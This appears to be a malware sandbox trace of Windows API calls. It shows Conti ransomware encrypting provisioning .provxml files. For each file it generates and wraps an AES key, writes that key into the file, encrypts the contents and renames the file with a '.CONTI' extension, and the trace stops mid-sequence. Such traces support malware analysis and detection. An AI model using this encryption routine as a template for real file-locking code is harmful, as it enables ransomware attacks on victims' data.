	[0111.779] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x1800c20 | out: phKey=0x1800c20*=0x6b7f638) returned 1
	[0111.779] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x1800c24, pdwDataLen=0x55ffb34 | out: pbData=0x1800c24*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0111.780] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\436__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0111.780] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\436__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0111.780] GetLastError () returned 0x0
	[0111.780] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=498) returned 1
	[0111.780] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1f2
	[0111.780] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.780] SetEndOfFile (hFile=0x3ec) returned 1
	[0111.781] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.781] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.781] WriteFile (in: hFile=0x3ec, lpBuffer=0x1800c24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x1800c24*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0111.782] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.782] ReadFile (in: hFile=0x3ec, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x1f2, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x1f2, lpOverlapped=0x0) returned 1
	[0111.782] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x1f2, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x200) returned 1
	[0111.782] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.782] WriteFile (in: hFile=0x3ec, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x200, lpOverlapped=0x0) returned 1
	[0111.782] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.783] WriteFile (in: hFile=0x3ec, lpBuffer=0x1800c18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x1800c18*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0111.783] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.783] CloseHandle (hObject=0x3ec) returned 1
	[0111.783] GetProcessHeap () returned 0x1720000
	[0111.783] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.783] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0111.783] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0111.783] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\436__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\436__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0111.784] GetProcessHeap () returned 0x1720000
	[0111.784] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.784] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0111.784] GetProcessHeap () returned 0x1720000
	[0111.784] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1807c70 | out: hHeap=0x1720000) returned 1
	[0111.784] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0111.784] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x1800548 | out: phKey=0x1800548*=0x6b7f038) returned 1
	[0111.784] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x180054c, pdwDataLen=0x55ffb34 | out: pbData=0x180054c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0111.785] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\437__connections_cellular_transasia (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.785] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\437__connections_cellular_transasia (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0111.785] GetLastError () returned 0x0
	[0111.785] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=644) returned 1
	[0111.785] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x284
	[0111.785] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.785] SetEndOfFile (hFile=0x3ec) returned 1
	[0111.785] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.785] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.785] WriteFile (in: hFile=0x3ec, lpBuffer=0x180054c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x180054c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0111.787] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.787] ReadFile (in: hFile=0x3ec, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x284, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x284, lpOverlapped=0x0) returned 1
	[0111.787] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x284, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x290) returned 1
	[0111.787] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.787] WriteFile (in: hFile=0x3ec, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x290, lpOverlapped=0x0) returned 1
	[0111.787] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.787] WriteFile (in: hFile=0x3ec, lpBuffer=0x1800540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x1800540*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0111.787] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.787] CloseHandle (hObject=0x3ec) returned 1
	[0111.788] GetProcessHeap () returned 0x1720000
	[0111.788] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.788] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml"
	[0111.788] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.788] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\437__connections_cellular_transasia (taiwan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\437__connections_cellular_transasia (taiwan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.788] GetProcessHeap () returned 0x1720000
	[0111.788] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.789] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0111.789] GetProcessHeap () returned 0x1720000
	[0111.789] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1807230 | out: hHeap=0x1720000) returned 1
	[0111.789] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0111.789] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x1800e68 | out: phKey=0x1800e68*=0x6b7f638) returned 1
	[0111.789] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x1800e6c, pdwDataLen=0x55ffb34 | out: pbData=0x1800e6c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0111.789] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\438__connections_cellular_vibo telecom (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.790] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\438__connections_cellular_vibo telecom (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0111.790] GetLastError () returned 0x0
	[0111.790] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=715) returned 1
	[0111.790] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0111.790] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.790] SetEndOfFile (hFile=0x3ec) returned 1
	[0111.790] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.790] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.790] WriteFile (in: hFile=0x3ec, lpBuffer=0x1800e6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x1800e6c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0111.792] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.792] ReadFile (in: hFile=0x3ec, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2cb, lpOverlapped=0x0) returned 1
	[0111.792] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2cb, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2d0) returned 1
	[0111.792] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.792] WriteFile (in: hFile=0x3ec, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.792] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.792] WriteFile (in: hFile=0x3ec, lpBuffer=0x1800e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x1800e60*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0111.792] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.793] CloseHandle (hObject=0x3ec) returned 1
	[0111.793] GetProcessHeap () returned 0x1720000
	[0111.793] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.793] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml"
	[0111.793] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.793] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\438__connections_cellular_vibo telecom (taiwan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\438__connections_cellular_vibo telecom (taiwan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.793] GetProcessHeap () returned 0x1720000
	[0111.793] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.793] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0111.793] GetProcessHeap () returned 0x1720000
	[0111.793] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656c6b8 | out: hHeap=0x1720000) returned 1
	[0111.794] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0111.794] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x1803530 | out: phKey=0x1803530*=0x6b7f1f8) returned 1
	[0111.794] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x1803534, pdwDataLen=0x55ffb34 | out: pbData=0x1803534*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0111.794] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\439__connections_cellular_vibo telecom (taiwan)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0111.795] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\439__connections_cellular_vibo telecom (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0111.795] GetLastError () returned 0x0
	[0111.795] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=708) returned 1
	[0111.795] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c4
	[0111.795] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.795] SetEndOfFile (hFile=0x3ec) returned 1
	[0111.795] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.795] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.795] WriteFile (in: hFile=0x3ec, lpBuffer=0x1803534*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x1803534*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0111.797] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.797] ReadFile (in: hFile=0x3ec, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2c4, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2c4, lpOverlapped=0x0) returned 1
	[0111.797] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2c4, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2d0) returned 1
	[0111.797] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.797] WriteFile (in: hFile=0x3ec, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.797] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.797] WriteFile (in: hFile=0x3ec, lpBuffer=0x1803528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x1803528*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0111.797] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.798] CloseHandle (hObject=0x3ec) returned 1
	[0111.798] GetProcessHeap () returned 0x1720000
	[0111.798] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
